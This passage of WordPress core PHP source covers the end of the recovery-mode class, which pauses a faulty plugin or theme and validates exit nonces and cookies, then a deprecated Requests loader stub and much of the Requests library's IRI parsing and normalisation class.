	 * @return bool True if recovery mode is active, false otherwise.
	 */
	public function is_active() {
		return $this->is_active;
	}

	/**
	 * Gets the recovery mode session ID.
	 *
	 * @since 5.2.0
	 *
	 * @return string The session ID if recovery mode is active, empty string otherwise.
	 */
	public function get_session_id() {
		return $this->session_id;
	}

	/**
	 * Checks whether recovery mode has been initialized.
	 *
	 * Recovery mode should not be used until this point. Initialization happens immediately before loading plugins.
	 *
	 * @since 5.2.0
	 *
	 * @return bool
	 */
	public function is_initialized() {
		return $this->is_initialized;
	}

	/**
	 * Handles a fatal error occurring.
	 *
	 * The calling API should immediately die() after calling this function.
	 *
	 * @since 5.2.0
	 *
	 * @param array $error Error details from `error_get_last()`.
	 * @return true|WP_Error True if the error was handled and headers have already been sent.
	 *                       Or the request will exit to try and catch multiple errors at once.
	 *                       WP_Error if an error occurred preventing it from being handled.
	 */
	public function handle_error( array $error ) {

		$extension = $this->get_extension_for_error( $error );

		if ( ! $extension || $this->is_network_plugin( $extension ) ) {
			return new WP_Error( 'invalid_source', __( 'Error not caused by a plugin or theme.' ) );
		}

		if ( ! $this->is_active() ) {
			if ( ! is_protected_endpoint() ) {
				return new WP_Error( 'non_protected_endpoint', __( 'Error occurred on a non-protected endpoint.' ) );
			}

			if ( ! function_exists( 'wp_generate_password' ) ) {
				require_once ABSPATH . WPINC . '/pluggable.php';
			}

			return $this->email_service->maybe_send_recovery_mode_email( $this->get_email_rate_limit(), $error, $extension );
		}

		if ( ! $this->store_error( $error ) ) {
			return new WP_Error( 'storage_error', __( 'Failed to store the error.' ) );
		}

		if ( headers_sent() ) {
			return true;
		}

		$this->redirect_protected();
	}

	/**
	 * Ends the current recovery mode session.
	 *
	 * @since 5.2.0
	 *
	 * @return bool True on success, false on failure.
	 */
	public function exit_recovery_mode() {
		if ( ! $this->is_active() ) {
			return false;
		}

		$this->email_service->clear_rate_limit();
		$this->cookie_service->clear_cookie();

		wp_paused_plugins()->delete_all();
		wp_paused_themes()->delete_all();

		return true;
	}

	/**
	 * Handles a request to exit Recovery Mode.
	 *
	 * @since 5.2.0
	 */
	public function handle_exit_recovery_mode() {
		$redirect_to = wp_get_referer();

		// Safety check in case referrer returns false.
		if ( ! $redirect_to ) {
			$redirect_to = is_user_logged_in() ? admin_url() : home_url();
		}

		if ( ! $this->is_active() ) {
			wp_safe_redirect( $redirect_to );
			die;
		}

		if ( ! isset( $_GET['action'] ) || self::EXIT_ACTION !== $_GET['action'] ) {
			return;
		}

		if ( ! isset( $_GET['_wpnonce'] ) || ! wp_verify_nonce( $_GET['_wpnonce'], self::EXIT_ACTION ) ) {
			wp_die( __( 'Exit recovery mode link expired.' ), 403 );
		}

		if ( ! $this->exit_recovery_mode() ) {
			wp_die( __( 'Failed to exit recovery mode. Please try again later.' ) );
		}

		wp_safe_redirect( $redirect_to );
		die;
	}

	/**
	 * Cleans any recovery mode keys that have expired according to the link TTL.
	 *
	 * Executes on a daily cron schedule.
	 *
	 * @since 5.2.0
	 */
	public function clean_expired_keys() {
		$this->key_service->clean_expired_keys( $this->get_link_ttl() );
	}

	/**
	 * Handles checking for the recovery mode cookie and validating it.
	 *
	 * @since 5.2.0
	 */
	protected function handle_cookie() {
		$validated = $this->cookie_service->validate_cookie();

		if ( is_wp_error( $validated ) ) {
			$this->cookie_service->clear_cookie();

			$validated->add_data( array( 'status' => 403 ) );
			wp_die( $validated );
		}

		$session_id = $this->cookie_service->get_session_id_from_cookie();
		if ( is_wp_error( $session_id ) ) {
			$this->cookie_service->clear_cookie();

			$session_id->add_data( array( 'status' => 403 ) );
			wp_die( $session_id );
		}

		$this->is_active  = true;
		$this->session_id = $session_id;
	}

	/**
	 * Gets the rate limit between sending new recovery mode email links.
	 *
	 * @since 5.2.0
	 *
	 * @return int Rate limit in seconds.
	 */
	protected function get_email_rate_limit() {
		/**
		 * Filters the rate limit between sending new recovery mode email links.
		 *
		 * @since 5.2.0
		 *
		 * @param int $rate_limit Time to wait in seconds. Defaults to 1 day.
		 */
		return apply_filters( 'recovery_mode_email_rate_limit', DAY_IN_SECONDS );
	}

	/**
	 * Gets the number of seconds the recovery mode link is valid for.
	 *
	 * @since 5.2.0
	 *
	 * @return int Interval in seconds.
	 */
	protected function get_link_ttl() {

		$rate_limit = $this->get_email_rate_limit();
		$valid_for  = $rate_limit;

		/**
		 * Filters the amount of time the recovery mode email link is valid for.
		 *
		 * The ttl must be at least as long as the email rate limit.
		 *
		 * @since 5.2.0
		 *
		 * @param int $valid_for The number of seconds the link is valid for.
		 */
		$valid_for = apply_filters( 'recovery_mode_email_link_ttl', $valid_for );

		return max( $valid_for, $rate_limit );
	}

	/**
	 * Gets the extension that the error occurred in.
	 *
	 * @since 5.2.0
	 *
	 * @global array $wp_theme_directories
	 *
	 * @param array $error Error details from `error_get_last()`.
	 * @return array|false {
	 *     Extension details.
	 *
	 *     @type string $slug The extension slug. This is the plugin or theme's directory.
	 *     @type string $type The extension type. Either 'plugin' or 'theme'.
	 * }
	 */
	protected function get_extension_for_error( $error ) {
		global $wp_theme_directories;

		if ( ! isset( $error['file'] ) ) {
			return false;
		}

		if ( ! defined( 'WP_PLUGIN_DIR' ) ) {
			return false;
		}

		$error_file    = wp_normalize_path( $error['file'] );
		$wp_plugin_dir = wp_normalize_path( WP_PLUGIN_DIR );

		if ( str_starts_with( $error_file, $wp_plugin_dir ) ) {
			$path  = str_replace( $wp_plugin_dir . '/', '', $error_file );
			$parts = explode( '/', $path );

			return array(
				'type' => 'plugin',
				'slug' => $parts[0],
			);
		}

		if ( empty( $wp_theme_directories ) ) {
			return false;
		}

		foreach ( $wp_theme_directories as $theme_directory ) {
			$theme_directory = wp_normalize_path( $theme_directory );

			if ( str_starts_with( $error_file, $theme_directory ) ) {
				$path  = str_replace( $theme_directory . '/', '', $error_file );
				$parts = explode( '/', $path );

				return array(
					'type' => 'theme',
					'slug' => $parts[0],
				);
			}
		}

		return false;
	}

	/**
	 * Checks whether the given extension a network activated plugin.
	 *
	 * @since 5.2.0
	 *
	 * @param array $extension Extension data.
	 * @return bool True if network plugin, false otherwise.
	 */
	protected function is_network_plugin( $extension ) {
		if ( 'plugin' !== $extension['type'] ) {
			return false;
		}

		if ( ! is_multisite() ) {
			return false;
		}

		$network_plugins = wp_get_active_network_plugins();

		foreach ( $network_plugins as $plugin ) {
			if ( str_starts_with( $plugin, $extension['slug'] . '/' ) ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Stores the given error so that the extension causing it is paused.
	 *
	 * @since 5.2.0
	 *
	 * @param array $error Error details from `error_get_last()`.
	 * @return bool True if the error was stored successfully, false otherwise.
	 */
	protected function store_error( $error ) {
		$extension = $this->get_extension_for_error( $error );

		if ( ! $extension ) {
			return false;
		}

		switch ( $extension['type'] ) {
			case 'plugin':
				return wp_paused_plugins()->set( $extension['slug'], $error );
			case 'theme':
				return wp_paused_themes()->set( $extension['slug'], $error );
			default:
				return false;
		}
	}

	/**
	 * Redirects the current request to allow recovering multiple errors in one go.
	 *
	 * The redirection will only happen when on a protected endpoint.
	 *
	 * It must be ensured that this method is only called when an error actually occurred and will not occur on the
	 * next request again. Otherwise it will create a redirect loop.
	 *
	 * @since 5.2.0
	 */
	protected function redirect_protected() {
		// Pluggable is usually loaded after plugins, so we manually include it here for redirection functionality.
		if ( ! function_exists( 'wp_safe_redirect' ) ) {
			require_once ABSPATH . WPINC . '/pluggable.php';
		}

		$scheme = is_ssl() ? 'https://' : 'http://';

		$url = "{$scheme}{$_SERVER['HTTP_HOST']}{$_SERVER['REQUEST_URI']}";
		wp_safe_redirect( $url );
		exit;
	}
}
<?php
/**
 * Loads the old Requests class file when the autoloader
 * references the original PSR-0 Requests class.
 *
 * @deprecated 6.2.0
 * @package WordPress
 * @subpackage Requests
 * @since 6.2.0
 */

include_once ABSPATH . WPINC . '/class-requests.php';
<?php
/**
 * IRI parser/serialiser/normaliser
 *
 * @package Requests\Utilities
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Ipv6;
use WpOrg\Requests\Port;
use WpOrg\Requests\Utility\InputValidator;

/**
 * IRI parser/serialiser/normaliser
 *
 * Copyright (c) 2007-2010, Geoffrey Sneddon and Steve Minutillo.
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions are met:
 *
 *  * Redistributions of source code must retain the above copyright notice,
 *       this list of conditions and the following disclaimer.
 *
 *  * Redistributions in binary form must reproduce the above copyright notice,
 *       this list of conditions and the following disclaimer in the documentation
 *       and/or other materials provided with the distribution.
 *
 *  * Neither the name of the SimplePie Team nor the names of its contributors
 *       may be used to endorse or promote products derived from this software
 *       without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
 * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS AND CONTRIBUTORS BE
 * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
 * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
 * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
 * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
 * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package Requests\Utilities
 * @author Geoffrey Sneddon
 * @author Steve Minutillo
 * @copyright 2007-2009 Geoffrey Sneddon and Steve Minutillo
 * @license https://opensource.org/licenses/bsd-license.php
 * @link http://hg.gsnedders.com/iri/
 *
 * @property string $iri IRI we're working with
 * @property-read string $uri IRI in URI form, {@see \WpOrg\Requests\Iri::to_uri()}
 * @property string $scheme Scheme part of the IRI
 * @property string $authority Authority part, formatted for a URI (userinfo + host + port)
 * @property string $iauthority Authority part of the IRI (userinfo + host + port)
 * @property string $userinfo Userinfo part, formatted for a URI (after '://' and before '@')
 * @property string $iuserinfo Userinfo part of the IRI (after '://' and before '@')
 * @property string $host Host part, formatted for a URI
 * @property string $ihost Host part of the IRI
 * @property string $port Port part of the IRI (after ':')
 * @property string $path Path part, formatted for a URI (after first '/')
 * @property string $ipath Path part of the IRI (after first '/')
 * @property string $query Query part, formatted for a URI (after '?')
 * @property string $iquery Query part of the IRI (after '?')
 * @property string $fragment Fragment, formatted for a URI (after '#')
 * @property string $ifragment Fragment part of the IRI (after '#')
 */
class Iri {
	/**
	 * Scheme
	 *
	 * @var string|null
	 */
	protected $scheme = null;

	/**
	 * User Information
	 *
	 * @var string|null
	 */
	protected $iuserinfo = null;

	/**
	 * ihost
	 *
	 * @var string|null
	 */
	protected $ihost = null;

	/**
	 * Port
	 *
	 * @var string|null
	 */
	protected $port = null;

	/**
	 * ipath
	 *
	 * @var string
	 */
	protected $ipath = '';

	/**
	 * iquery
	 *
	 * @var string|null
	 */
	protected $iquery = null;

	/**
	 * ifragment|null
	 *
	 * @var string
	 */
	protected $ifragment = null;

	/**
	 * Normalization database
	 *
	 * Each key is the scheme, each value is an array with each key as the IRI
	 * part and value as the default value for that part.
	 *
	 * @var array
	 */
	protected $normalization = array(
		'acap' => array(
			'port' => Port::ACAP,
		),
		'dict' => array(
			'port' => Port::DICT,
		),
		'file' => array(
			'ihost' => 'localhost',
		),
		'http' => array(
			'port' => Port::HTTP,
		),
		'https' => array(
			'port' => Port::HTTPS,
		),
	);

	/**
	 * Return the entire IRI when you try and read the object as a string
	 *
	 * @return string
	 */
	public function __toString() {
		return $this->get_iri();
	}

	/**
	 * Overload __set() to provide access via properties
	 *
	 * @param string $name Property name
	 * @param mixed $value Property value
	 */
	public function __set($name, $value) {
		if (method_exists($this, 'set_' . $name)) {
			call_user_func(array($this, 'set_' . $name), $value);
		}
		elseif (
			   $name === 'iauthority'
			|| $name === 'iuserinfo'
			|| $name === 'ihost'
			|| $name === 'ipath'
			|| $name === 'iquery'
			|| $name === 'ifragment'
		) {
			call_user_func(array($this, 'set_' . substr($name, 1)), $value);
		}
	}

	/**
	 * Overload __get() to provide access via properties
	 *
	 * @param string $name Property name
	 * @return mixed
	 */
	public function __get($name) {
		// isset() returns false for null, we don't want to do that
		// Also why we use array_key_exists below instead of isset()
		$props = get_object_vars($this);

		if (
			$name === 'iri' ||
			$name === 'uri' ||
			$name === 'iauthority' ||
			$name === 'authority'
		) {
			$method = 'get_' . $name;
			$return = $this->$method();
		}
		elseif (array_key_exists($name, $props)) {
			$return = $this->$name;
		}
		// host -> ihost
		elseif (($prop = 'i' . $name) && array_key_exists($prop, $props)) {
			$name = $prop;
			$return = $this->$prop;
		}
		// ischeme -> scheme
		elseif (($prop = substr($name, 1)) && array_key_exists($prop, $props)) {
			$name = $prop;
			$return = $this->$prop;
		}
		else {
			trigger_error('Undefined property: ' . get_class($this) . '::' . $name, E_USER_NOTICE);
			$return = null;
		}

		if ($return === null && isset($this->normalization[$this->scheme][$name])) {
			return $this->normalization[$this->scheme][$name];
		}
		else {
			return $return;
		}
	}

	/**
	 * Overload __isset() to provide access via properties
	 *
	 * @param string $name Property name
	 * @return bool
	 */
	public function __isset($name) {
		return (method_exists($this, 'get_' . $name) || isset($this->$name));
	}

	/**
	 * Overload __unset() to provide access via properties
	 *
	 * @param string $name Property name
	 */
	public function __unset($name) {
		if (method_exists($this, 'set_' . $name)) {
			call_user_func(array($this, 'set_' . $name), '');
		}
	}

	/**
	 * Create a new IRI object, from a specified string
	 *
	 * @param string|Stringable|null $iri
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $iri argument is not a string, Stringable or null.
	 */
	public function __construct($iri = null) {
		if ($iri !== null && InputValidator::is_string_or_stringable($iri) === false) {
			throw InvalidArgument::create(1, '$iri', 'string|Stringable|null', gettype($iri));
		}

		$this->set_iri($iri);
	}

	/**
	 * Create a new IRI object by resolving a relative IRI
	 *
	 * Returns false if $base is not absolute, otherwise an IRI.
	 *
	 * @param \WpOrg\Requests\Iri|string $base (Absolute) Base IRI
	 * @param \WpOrg\Requests\Iri|string $relative Relative IRI
	 * @return \WpOrg\Requests\Iri|false
	 */
	public static function absolutize($base, $relative) {
		if (!($relative instanceof self)) {
			$relative = new self($relative);
		}
		if (!$relative->is_valid()) {
			return false;
		}
		elseif ($relative->scheme !== null) {
			return clone $relative;
		}

		if (!($base instanceof self)) {
			$base = new self($base);
		}
		if ($base->scheme === null || !$base->is_valid()) {
			return false;
		}

		if ($relative->get_iri() !== '') {
			if ($relative->iuserinfo !== null || $relative->ihost !== null || $relative->port !== null) {
				$target = clone $relative;
				$target->scheme = $base->scheme;
			}
			else {
				$target = new self;
				$target->scheme = $base->scheme;
				$target->iuserinfo = $base->iuserinfo;
				$target->ihost = $base->ihost;
				$target->port = $base->port;
				if ($relative->ipath !== '') {
					if ($relative->ipath[0] === '/') {
						$target->ipath = $relative->ipath;
					}
					elseif (($base->iuserinfo !== null || $base->ihost !== null || $base->port !== null) && $base->ipath === '') {
						$target->ipath = '/' . $relative->ipath;
					}
					elseif (($last_segment = strrpos($base->ipath, '/')) !== false) {
						$target->ipath = substr($base->ipath, 0, $last_segment + 1) . $relative->ipath;
					}
					else {
						$target->ipath = $relative->ipath;
					}
					$target->ipath = $target->remove_dot_segments($target->ipath);
					$target->iquery = $relative->iquery;
				}
				else {
					$target->ipath = $base->ipath;
					if ($relative->iquery !== null) {
						$target->iquery = $relative->iquery;
					}
					elseif ($base->iquery !== null) {
						$target->iquery = $base->iquery;
					}
				}
				$target->ifragment = $relative->ifragment;
			}
		}
		else {
			$target = clone $base;
			$target->ifragment = null;
		}
		$target->scheme_normalization();
		return $target;
	}

	/**
	 * Parse an IRI into scheme/authority/path/query/fragment segments
	 *
	 * @param string $iri
	 * @return array
	 */
	protected function parse_iri($iri) {
		$iri = trim($iri, "\x20\x09\x0A\x0C\x0D");
		$has_match = preg_match('/^((?P<scheme>[^:\/?#]+):)?(\/\/(?P<authority>[^\/?#]*))?(?P<path>[^?#]*)(\?(?P<query>[^#]*))?(#(?P<fragment>.*))?$/', $iri, $match);
		if (!$has_match) {
			throw new Exception('Cannot parse supplied IRI', 'iri.cannot_parse', $iri);
		}

		if ($match[1] === '') {
			$match['scheme'] = null;
		}
		if (!isset($match[3]) || $match[3] === '') {
			$match['authority'] = null;
		}
		if (!isset($match[5])) {
			$match['path'] = '';
		}
		if (!isset($match[6]) || $match[6] === '') {
			$match['query'] = null;
		}
		if (!isset($match[8]) || $match[8] === '') {
			$match['fragment'] = null;
		}
		return $match;
	}

	/**
	 * Remove dot segments from a path
	 *
	 * @param string $input
	 * @return string
	 */
	protected function remove_dot_segments($input) {
		$output = '';
		while (strpos($input, './') !== false || strpos($input, '/.') !== false || $input === '.' || $input === '..') {
			// A: If the input buffer begins with a prefix of "../" or "./",
			// then remove that prefix from the input buffer; otherwise,
			if (strpos($input, '../') === 0) {
				$input = substr($input, 3);
			}
			elseif (strpos($input, './') === 0) {
				$input = substr($input, 2);
			}
			// B: if the input buffer begins with a prefix of "/./" or "/.",
			// where "." is a complete path segment, then replace that prefix
			// with "/" in the input buffer; otherwise,
			elseif (strpos($input, '/./') === 0) {
				$input = substr($input, 2);
			}
			elseif ($input === '/.') {
				$input = '/';
			}
			// C: if the input buffer begins with a prefix of "/../" or "/..",
			// where ".." is a complete path segment, then replace that prefix
			// with "/" in the input buffer and remove the last segment and its
			// preceding "/" (if any) from the output buffer; otherwise,
			elseif (strpos($input, '/../') === 0) {
				$input = substr($input, 3);
				$output = substr_replace($output, '', (strrpos($output, '/') ?: 0));
			}
			elseif ($input === '/..') {
				$input = '/';
				$output = substr_replace($output, '', (strrpos($output, '/') ?: 0));
			}
			// D: if the input buffer consists only of "." or "..", then remove
			// that from the input buffer; otherwise,
			elseif ($input === '.' || $input === '..') {
				$input = '';
			}
			// E: move the first path segment in the input buffer to the end of
			// the output buffer, including the initial "/" character (if any)
			// and any subsequent characters up to, but not including, the next
			// "/" character or the end of the input buffer
			elseif (($pos = strpos($input, '/', 1)) !== false) {
				$output .= substr($input, 0, $pos);
				$input = substr_replace($input, '', 0, $pos);
			}
			else {
				$output .= $input;
				$input = '';
			}
		}
		return $output . $input;
	}

	/**
	 * Replace invalid character with percent encoding
	 *
	 * @param string $text Input string
	 * @param string $extra_chars Valid characters not in iunreserved or
	 *                            iprivate (this is ASCII-only)
	 * @param bool $iprivate Allow iprivate
	 * @return string
	 */
	protected function replace_invalid_with_pct_encoding($text, $extra_chars, $iprivate = false) {
		// Normalize as many pct-encoded sections as possible
		$text = preg_replace_callback('/(?:%[A-Fa-f0-9]{2})+/', array($this, 'remove_iunreserved_percent_encoded'), $text);

		// Replace invalid percent characters
		$text = preg_replace('/%(?![A-Fa-f0-9]{2})/', '%25', $text);

		// Add unreserved and % to $extra_chars (the latter is safe because all
		// pct-encoded sections are now valid).
		$extra_chars .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~%';

		// Now replace any bytes that aren't allowed with their pct-encoded versions
		$position = 0;
		$strlen = strlen($text);
		while (($position += strspn($text, $extra_chars, $position)) < $strlen) {
			$value = ord($text[$position]);

			// Start position
			$start = $position;

			// By default we are valid
			$valid = true;

			// No one byte sequences are valid due to the while.
			// Two byte sequence:
			if (($value & 0xE0) === 0xC0) {
				$character = ($value & 0x1F) << 6;
				$length = 2;
				$remaining = 1;
			}
			// Three byte sequence:
			elseif (($value & 0xF0) === 0xE0) {
				$character = ($value & 0x0F) << 12;
				$length = 3;
				$remaining = 2;
			}
			// Four byte sequence:
			elseif (($value & 0xF8) === 0xF0) {
				$character = ($value & 0x07) << 18;
				$length = 4;
				$remaining = 3;
			}
			// Invalid byte:
			else {
				$valid = false;
				$length = 1;
				$remaining = 0;
			}

			if ($remaining) {
				if ($position + $length <= $strlen) {
					for ($position++; $remaining; $position++) {
						$value = ord($text[$position]);

						// Check that the byte is valid, then add it to the character:
						if (($value & 0xC0) === 0x80) {
							$character |= ($value & 0x3F) << (--$remaining * 6);
						}
						// If it is invalid, count the sequence as invalid and reprocess the current byte:
						else {
							$valid = false;
							$position--;
							break;
						}
					}
				}
				else {
					$position = $strlen - 1;
					$valid = false;
				}
			}

			// Percent encode anything invalid or not in ucschar
			if (
				// Invalid sequences
				!$valid
				// Non-shortest form sequences are invalid
				|| $length > 1 && $character <= 0x7F
				|| $length > 2 && $character <= 0x7FF
				|| $length > 3 && $character <= 0xFFFF
				// Outside of range of ucschar codepoints
				// Noncharacters
				|| ($character & 0xFFFE) === 0xFFFE
				|| $character >= 0xFDD0 && $character <= 0xFDEF
				|| (
					// Everything else not in ucschar
					   $character > 0xD7FF && $character < 0xF900
					|| $character < 0xA0
					|| $character > 0xEFFFD
				)
				&& (
					// Everything not in iprivate, if it applies
					   !$iprivate
					|| $character < 0xE000
					|| $character > 0x10FFFD
				)
			) {
				// If we were a character, pretend we weren't, but rather an error.
				if ($valid) {
					$position--;
				}

				for ($j = $start; $j <= $position; $j++) {
					$text = substr_replace($text, sprintf('%%%02X', ord($text[$j])), $j, 1);
					$j += 2;
					$position += 2;
					$strlen += 2;
				}
			}
		}

		return $text;
	}

	/**
	 * Callback function for preg_replace_callback.
	 *
	 * Removes sequences of percent encoded bytes that represent UTF-8
	 * encoded characters in iunreserved
	 *
	 * @param array $regex_match PCRE match
	 * @return string Replacement
	 */
	protected function remove_iunreserved_percent_encoded($regex_match) {
		// As we just have valid percent encoded sequences we can just explode
		// and ignore the first member of the returned array (an empty string).
		$bytes = explode('%', $regex_match[0]);

		// Initialize the new string (this is what will be returned) and that
		// there are no bytes remaining in the current sequence (unsurprising
		// at the first byte!).
		$string = '';
		$remaining = 0;

		// Loop over each and every byte, and set $value to its value
		for ($i = 1, $len = count($bytes); $i < $len; $i++) {
			$value = hexdec($bytes[$i]);

			// If we're the first byte of sequence:
			if (!$remaining) {
				// Start position
				$start = $i;

				// By default we are valid
				$valid = true;

				// One byte sequence:
				if ($value <= 0x7F) {
					$character = $value;
					$length = 1;
				}
				// Two byte sequence:
				elseif (($value & 0xE0) === 0xC0) {
					$character = ($value & 0x1F) << 6;
					$length = 2;
					$remaining = 1;
				}
				// Three byte sequence:
				elseif (($value & 0xF0) === 0xE0) {
					$character = ($value & 0x0F) << 12;
					$length = 3;
					$remaining = 2;
				}
				// Four byte sequence:
				elseif (($value & 0xF8) === 0xF0) {
					$character = ($value & 0x07) << 18;
					$length = 4;
					$remaining = 3;
				}
				// Invalid byte:
				else {
					$valid = false;
					$remaining = 0;
				}
			}
			// Continuation byte:
			else {
				// Check that the byte is valid, then add it to the character:
				if (($value & 0xC0) === 0x80) {
					$remaining--;
					$character |= ($value & 0x3F) << ($remaining * 6);
				}
				// If it is invalid, count the sequence as invalid and reprocess the current byte as the start of a sequence:
				else {
					$valid = false;
					$remaining = 0;
					$i--;
				}
			}

			// If we've reached the end of the current byte sequence, append it to Unicode::$data
			if (!$remaining) {
				// Percent encode anything invalid or not in iunreserved
				if (
					// Invalid sequences
					!$valid
					// Non-shortest form sequences are invalid
					|| $length > 1 && $character <= 0x7F
					|| $length > 2 && $character <= 0x7FF
					|| $length > 3 && $character <= 0xFFFF
					// Outside of range of iunreserved codepoints
					|| $character < 0x2D
					|| $character > 0xEFFFD
					// Noncharacters
					|| ($character & 0xFFFE) === 0xFFFE
					|| $character >= 0xFDD0 && $character <= 0xFDEF
					// Everything else not in iunreserved (this is all BMP)
					|| $character === 0x2F
					|| $character > 0x39 && $character < 0x41
					|| $character > 0x5A && $character < 0x61
					|| $character > 0x7A && $character < 0x7E
					|| $character > 0x7E && $character < 0xA0
					|| $character > 0xD7FF && $character < 0xF900
				) {
					for ($j = $start; $j <= $i; $j++) {
						$string .= '%' . strtoupper($bytes[$j]);
					}
				}
				else {
					for ($j = $start; $j <= $i; $j++) {
						$string .= chr(hexdec($bytes[$j]));
					}
				}
			}
		}

		// If we have any bytes left over they are invalid (i.e., we are
		// mid-way through a multi-byte sequence)
		if ($remaining) {
			for ($j = $start; $j < $len; $j++) {
				$string .= '%' . strtoupper($bytes[$j]);
			}
		}

		return $string;
	}

	protected function scheme_normalization() {
		if (isset($this->normalization[$this->scheme]['iuserinfo']) && $this->iuserinfo === $this->normalization[$this->scheme]['iuserinfo']) {
			$this->iuserinfo = null;
		}
		if (isset($this->normalization[$this->scheme]['ihost']) && $this->ihost === $this->normalization[$this->scheme]['ihost']) {
			$this->ihost = null;
		}
		if (isset($this->normalization[$this->scheme]['port']) && $this->port === $this->normalization[$this->scheme]['port']) {
			$this->port = null;
		}
		if (isset($this->normalization[$this->scheme]['ipath']) && $this->ipath === $this->normalization[$this->scheme]['ipath']) {
			$this->ipath = '';
		}
		if (isset($this->ihost) && empty($this->ipath)) {
			$this->ipath = '/';
		}
		if (isset($this->normalization[$this->scheme]['iquery']) && $this->iquery === $this->normalization[$this->scheme]['iquery']) {
			$this->iquery = null;
		}
		if (isset($this->normalization[$this->scheme]['ifragment']) && $this->ifragment === $this->normalization[$this->scheme]['ifragment']) {
			$this->ifragment = null;
		}
	}

	/**
	 * Check if the object represents a valid IRI. This needs to be done on each
	 * call as some things change depending on another part of the IRI.
	 *
	 * @return bool
	 */
	public function is_valid() {
		$isauthority = $this->iuserinfo !== null || $this->ihost !== null || $this->port !== null;
		if ($this->ipath !== '' &&
			(
				$isauthority && $this->ipath[0] !== '/' ||
				(
					$this->scheme === null &&
					!$isauthority &&
					strpos($this->ipath, ':') !== false &&
					(strpos($this->ipath, '/') === false ? true : strpos($this->ipath, ':') < strpos($this->ipath, '/'))
				)
			)
		) {
			return false;
		}

		return true;
	}

	public function __wakeup() {
		$class_props = get_class_vars( __CLASS__ );
		$string_props = array( 'scheme', 'iuserinfo', 'ihost', 'port', 'ipath', 'iquery', 'ifragment' );
		$array_props = array( 'normalization' );
		foreach ( $class_props as $prop => $default_value ) {
			if ( in_array( $prop, $string_props, true ) && ! is_string( $this->$prop ) ) {
				throw new UnexpectedValueException();
			} elseif ( in_array( $prop, $array_props, true ) && ! is_array( $this->$prop ) ) {
				throw new UnexpectedValueException();
			}
			$this->$prop = null;
		}
	}

	/**
	 * Set the entire IRI. Returns true on success, false on failure (if there
	 * are any invalid characters).
	 *
	 * @param string $iri
	 * @return bool
	 */
	protected function set_iri($iri) {
		static $cache;
		if (!$cache) {
			$cache = array();
		}

		if ($iri === null) {
			return true;
		}

		$iri = (string) $iri;

		if (isset($cache[$iri])) {
			list($this->scheme,
				 $this->iuserinfo,
				 $this->ihost,
				 $this->port,
				 $this->ipath,
				 $this->iquery,
				 $this->ifragment,
				 $return) = $cache[$iri];
			return $return;
		}

		$parsed = $this->parse_iri($iri);

		$return = $this->set_scheme($parsed['scheme'])
			&& $this->set_authority($parsed['authority'])
			&& $this->set_path($parsed['path'])
			&& $this->set_query($parsed['query'])
			&& $this->set_fragment($parsed['fragment']);

		$cache[$iri] = array($this->scheme,
							 $this->iuserinfo,
							 $this->ihost,
							 $this->port,
							 $this->ipath,
							 $this->iquery,
							 $this->ifragment,
							 $return);
		return $return;
	}

	/**
	 * Set the scheme. Returns true on success, false on failure (if there are
	 * any invalid characters).
	 *
	 * @param string $scheme
	 * @return bool
	 */
	protected function set_scheme($scheme) {
		if ($scheme === null) {
			$this->scheme = null;
		}
		elseif (!preg_match('/^[A-Za-z][0-9A-Za-z+\-.]*$/', $scheme)) {
			$this->scheme = null;
			return false;
		}
		else {
			$this->scheme = strtolower($scheme);
		}
		return true;
	}

	/**
	 * Set the authority. Returns true on success, false on failure (if there are
	 * any invalid characters).
	 *
	 * @param string $authority
	 * @return bool
	 */
	protected function set_authority($authority) {
		static $cache;
		if (!$cache) {
			$cache = array();
		}

		if ($authority === null) {
			$this->iuserinfo = null;
			$this->ihost = null;
			$this->port = null;
			return true;
		}
		if (isset($cache[$authority])) {
			list($this->iuserinfo,
				 $this->ihost,
				 $this->port,
				 $return) = $cache[$authority];

			return $return;
		}

		$remaining = $authority;
		if (($iuserinfo_end = strrpos($remaining, '@')) !== false) {
			$iuserinfo = substr($remaining, 0, $iuserinfo_end);
			$remaining = substr($remaining, $iuserinfo_end + 1);
		}
		else {
			$iuserinfo = null;
		}

		if (($port_start = strpos($remaining, ':', (strpos($remaining, ']') ?: 0))) !== false) {
			$port = substr($remaining, $port_start + 1);
			if ($port === false || $port === '') {
				$port = null;
			}
			$remaining = substr($remaining, 0, $port_start);
		}
		else {
			$port = null;
		}

		$return = $this->set_userinfo($iuserinfo) &&
				  $this->set_host($remaining) &&
				  $this->set_port($port);

		$cache[$authority] = array($this->iuserinfo,
								   $this->ihost,
								   $this->port,
								   $return);

		return $return;
	}

	/**
	 * Set the iuserinfo.
	 *
	 * @param string $iuserinfo
	 * @return bool
	 */
	protected function set_userinfo($iuserinfo) {
		if ($iuserinfo === null) {
			$this->iuserinfo = null;
		}
		else {
			$this->iuserinfo = $this->replace_invalid_with_pct_encoding($iuserinfo, '!$&\'()*+,;=:');
			$this->scheme_normalization();
		}

		return true;
	}

	/**
	 * Set the ihost. Returns true on success, false on failure (if there are
	 * any invalid characters).
	 *
	 * @param string $ihost
	 * @return bool
	 */
	protected function set_host($ihost) {
		if ($ihost === null) {
			$this->ihost = null;
			return true;
		}
